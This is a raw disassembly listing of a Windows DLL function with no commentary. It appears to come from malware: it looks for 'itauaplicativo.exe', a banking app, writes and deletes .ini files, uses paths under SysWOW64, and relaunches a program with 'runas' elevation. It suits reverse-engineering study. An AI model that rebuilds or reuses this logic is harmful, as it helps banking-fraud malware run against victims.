mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call fcn.180005540
movzx ebx, al
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x18000a6df
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a6da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b329
call fcn.1800115b0
mov qword [rbp], r12
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x18000a72a
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a725
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b32f
call fcn.1800115b0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x18000a77c
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a776
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b335
call fcn.1800115b0
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x18000a7bd
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a7b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b33b
call fcn.1800115b0
test bl, bl
je 0x18000af1c
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x30]
call fcn.180004e50
mov rbx, rax
mov rdx, qword [0x18004bc98]
mov rcx, rsi
sub rcx, rdx
cmp rcx, 1
jb 0x18000b341
mov r9, r15
cmp qword [0x18004bca0], 0x10
cmovae r9, qword [0x18004bc88]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0xf0]
call fcn.18000f5f0
nop
mov r9, rbx
lea r8, [rbp + 0xf0]
lea rcx, [rbp + 0x10]
call fcn.18000f400
nop
mov r8d, 5
lea rdx, str.S.ini
lea rcx, [rbp + 0x10]
call fcn.18000d520
mov qword [rbp - 0x10], r12
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x18000a8b5
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a8b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b347
call fcn.1800115b0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x18000a907
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a901
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b34d
call fcn.1800115b0
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x18000a942
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000a93d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b353
call fcn.1800115b0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x150]
call fcn.180013c70
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [rbp + 0x150]
call fcn.18000c490
nop
mov qword [rbp - 0x30], r12
mov word [rbp - 0x28], 1
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x198]
mov qword [rbp + 0x70], rax
test rax, rax
sete byte [rbp + 0x78]
mov byte [rbp + 0x79], 0
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
movaps xmm1, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm1
lea r8, [rbp - 0x30]
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x30]
call fcn.18000dd40
nop
lea rcx, [rbp + 0x160]
call fcn.18000d0e0
test rax, rax
jne 0x18000aa23
mov rax, qword [rbp + 0x150]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0x198], 0
cmovne eax, edx
or eax, dword [rbp + rcx + 0x160]
and eax, 0x17
mov dword [rbp + rcx + 0x160], eax
mov edx, dword [rbp + rcx + 0x164]
and edx, eax
jne 0x18000b359
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r14, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r14, qword [rbp - 0x10]
add r14, qword [rbp]
lea rbx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rbx, qword [rbp - 0x10]
mov qword [rbp - 0x30], r12
mov rcx, r12
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rdi
mov rdx, r14
sub rdx, rbx
cmp rdx, 8
jb 0x18000aa7d
lea rcx, [rbp - 0x30]
call fcn.18000e180
mov rcx, r12
mov qword [rbp - 0x20], rcx
mov rdi, qword [rbp - 0x18]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
cmp rbx, r14
je 0x18000aadd
nop dword [rax + rax]
movsx r9d, byte [rbx]
cmp rcx, rdi
jae 0x18000aabb
lea rax, [rcx + 1]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
cmp rdi, 8
cmovae rax, qword [rbp - 0x30]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x18000aacb
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x30]
call fcn.18000e2f0
inc rbx
mov rdi, qword [rbp - 0x18]
cmp rbx, r14
je 0x18000aadd
mov rcx, qword [rbp - 0x20]
jmp 0x18000aa90
lea rcx, [rbp - 0x30]
cmp rdi, 8
cmovae rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x18000ab30
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000ab2b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b3ac
call fcn.1800115b0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 0xf
mov r8d, 1
lea rdx, [0x180042584]
lea rcx, [rsp + 0x48]
call fcn.18000d3c0
nop
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
mov rdi, qword [rbp + 0x40]
lea r14, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae r14, qword [rbp + 0x30]
cmp rdi, 0x10
jae 0x18000ab98
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x10], xmm0
mov ebx, 0xf
jmp 0x18000ac04
mov rbx, rdi
or rbx, 0xf
cmp rbx, rsi
cmova rbx, rsi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18000abe2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000b3b2
mov rcx, rax
call fcn.1800115e4
mov rcx, rax
test rax, rax
je 0x18000b3b8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18000abf1
test rcx, rcx
je 0x18000abee
call fcn.1800115e4
jmp 0x18000abf1
mov rax, r12
mov qword [rbp + 0x10], rax
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call fcn.180013540
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rbx
xor r9d, r9d
lea r8, [rsp + 0x48]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x110]
call fcn.1800058d0
nop
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0x100], r12
mov qword [rbp + 0x108], 0xf
mov r8d, 1
lea rdx, [0x180042584]
lea rcx, [rbp + 0xf0]
call fcn.18000d3c0
nop
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
mov rdi, qword [rbp + 0x40]
lea r14, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae r14, qword [rbp + 0x30]
cmp rdi, 0x10
jae 0x18000ac96
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x30], xmm0
mov ebx, 0xf
jmp 0x18000ad02
mov rbx, rdi
or rbx, 0xf
cmp rbx, rsi
cmova rbx, rsi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18000ace0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000b3be
mov rcx, rax
call fcn.1800115e4
mov rcx, rax
test rax, rax
je 0x18000b3c4
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18000acef
test rcx, rcx
je 0x18000acec
call fcn.1800115e4
jmp 0x18000acef
mov rax, r12
mov qword [rbp - 0x30], rax
lea r8, [rdi + 1]
mov rdx, r14
mov rcx, rax
call fcn.18000d5b0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rbx
mov r9d, 1
lea r8, [rbp + 0xf0]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x130]
call fcn.1800058d0
nop
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x48]
call fcn.18000cc00
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.180005280
nop
mov r8, rax
lea rdx, str.c:WindowsSysWOW64_
lea rcx, [rbp + 0xb0]
call fcn.18000dc20
nop
lea rcx, [rbp + 0x10]
call fcn.18000cb60
lea rcx, [rbp + 0x110]
call fcn.18000cb10
mov rcx, rax
call fcn.180005540
test al, al
je 0x18000aed0
lea rcx, [rbp + 0xb0]
call fcn.18000cb10
mov rbx, rax
lea rcx, [rbp + 0x110]
call fcn.18000cb10
mov rdx, rbx
mov rcx, rax
call fcn.180019fb4
lea rcx, [rbp - 0x70]
call fcn.180004e50
mov rbx, rax
mov r8, r13
mov rdx, r15
lea rcx, [rbp - 0x50]
call fcn.18000dac0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.18000df20
nop
lea r8, str.S.txt
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.18000da50
nop
lea rcx, [rbp - 0x30]
call fcn.18000cb60
nop
lea rcx, [rbp - 0x50]
call fcn.18000cb60
nop
lea rcx, [rbp - 0x70]
call fcn.18000cb60
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xf0]
call fcn.18000cb20
mov rbx, qword [rax]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xf0]
call fcn.18000cb40
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x48]
call fcn.18000dc90
mov rcx, rax
call fcn.18000c9b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x48]
call fcn.180002520
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x48]
mov qword [rbp + 0x70], rax
lea r8, [0x180042584]
lea rdx, [rbp + 0xb0]
lea rcx, [rsp + 0x68]
call fcn.18000dac0
nop
lea r8, [rbp + 0x130]
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.18000df40
mov rbx, rax
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x10]
call fcn.18000cc00
nop
mov rdx, rbx
mov rcx, rax
call fcn.1800032d0
nop
lea rcx, [rsp + 0x68]
call fcn.18000cb60
nop
lea rcx, [rbp + 0xf0]
call fcn.18000cb60
nop
lea rcx, [rbp + 0xb0]
call fcn.18000cb60
nop
lea rcx, [rbp + 0x130]
call fcn.18000cb60
nop
lea rcx, [rbp + 0x110]
call fcn.18000cb60
nop
lea rcx, [rbp + 0x30]
call fcn.18000cb60
nop
lea rcx, [rbp + 0x150]
call fcn.180005620
nop
lea rcx, [rbp - 0x10]
call fcn.18000cb60
jmp 0x18000b136
lea r8, str.RewriteData_1.ini
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.18000dac0
nop
mov rcx, rax
call fcn.18000cb10
mov rcx, rax
call fcn.180005540
movzx ebx, al
lea rcx, [rsp + 0x68]
call fcn.18000cb60
test bl, bl
je 0x18000b12f
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x18004da50], 0
jne 0x18000b136
mov r8, r14
lea rdx, [rbp + 0x90]
lea rcx, [rsp + 0x68]
call fcn.18000dac0
nop
mov rcx, rax
call fcn.18000cb10
mov rcx, rax
call fcn.180005540
movzx ebx, al
lea rcx, [rsp + 0x68]
call fcn.18000cb60
test bl, bl
je 0x18000b136
lea rdx, str.itauaplicativo.exe
lea rcx, [rsp + 0x68]
call fcn.18000cbc0
mov rcx, rax
call fcn.180006fe0
mov edi, eax
test eax, eax
je 0x18000b092
lea r8, str.HostSv_2.ini
mov rdx, r15
lea rcx, [rbp + 0x110]
call fcn.18000dac0
nop
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x110]
call fcn.18000cb20
mov rbx, qword [rax]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x110]
call fcn.18000cb40
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x130]
call fcn.18000dc90
nop
lea rcx, [rbp + 0x130]
call fcn.18000c9b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x68]
mov qword [rbp - 0x30], rax
mov edx, edi
lea rcx, [rsp + 0x68]
call fcn.180001f80
mov rbx, rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x70]
call fcn.18000cc00
nop
mov rdx, rbx
mov rcx, rax
call fcn.1800032d0
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x130]
call fcn.180002520
nop
lea rcx, [rbp + 0x110]
call fcn.18000cb60
mov byte [0x18004da50], 1
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0xb0]
call fcn.18000cc00
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xb0]
call fcn.18000cb20
mov rbx, qword [rax]
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0xb0]
call fcn.18000cb40
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xf0]
call fcn.18000dc90
lea rcx, [rbp + 0xf0]
call fcn.18000c9b0
mov r8, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
lea r9, [0x180042778]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xf0]
call fcn.180002520
nop
lea rcx, [rbp + 0xb0]
call fcn.18000cb60
jmp 0x18000b136
mov byte [0x18004da50], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x18000b177
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000b172
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b3ca
call fcn.1800115b0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x18000b1d1
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000b1cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b3d0
call fcn.1800115b0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x18000b221
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000b21c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000b251
call fcn.1800115b0
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.180011590
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1800193ac
int3
call fcn.180001290
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800011f0
int3
call fcn.1800193ac
int3
call fcn.180001290
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
int3
call fcn.180001290
int3
call fcn.1800193ac
int3
call fcn.180001290
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
int3
call fcn.180001290
int3
call fcn.1800193ac
int3
call fcn.180001290
nop
call fcn.1800193ac
int3
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
int3
call fcn.180001290
int3
call fcn.1800193ac
int3
call fcn.180001290
nop
call fcn.1800193ac
nop
call fcn.180001290
int3
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.180001290
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.180001290
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
nop
test dl, 4
je 0x18000b367
lea rbx, str.ios_base::badbit_set
jmp 0x18000b37c
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x30]
call fcn.180001380
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x68]
call fcn.180001e20
lea rdx, [0x180047a80]
lea rcx, [rsp + 0x68]
call fcn.18001346c
int3
call fcn.1800193ac
nop
call fcn.1800011f0
int3
call fcn.1800193ac
nop
call fcn.1800011f0
int3
call fcn.1800193ac
nop
call fcn.1800193ac
nop
call fcn.1800193ac
int3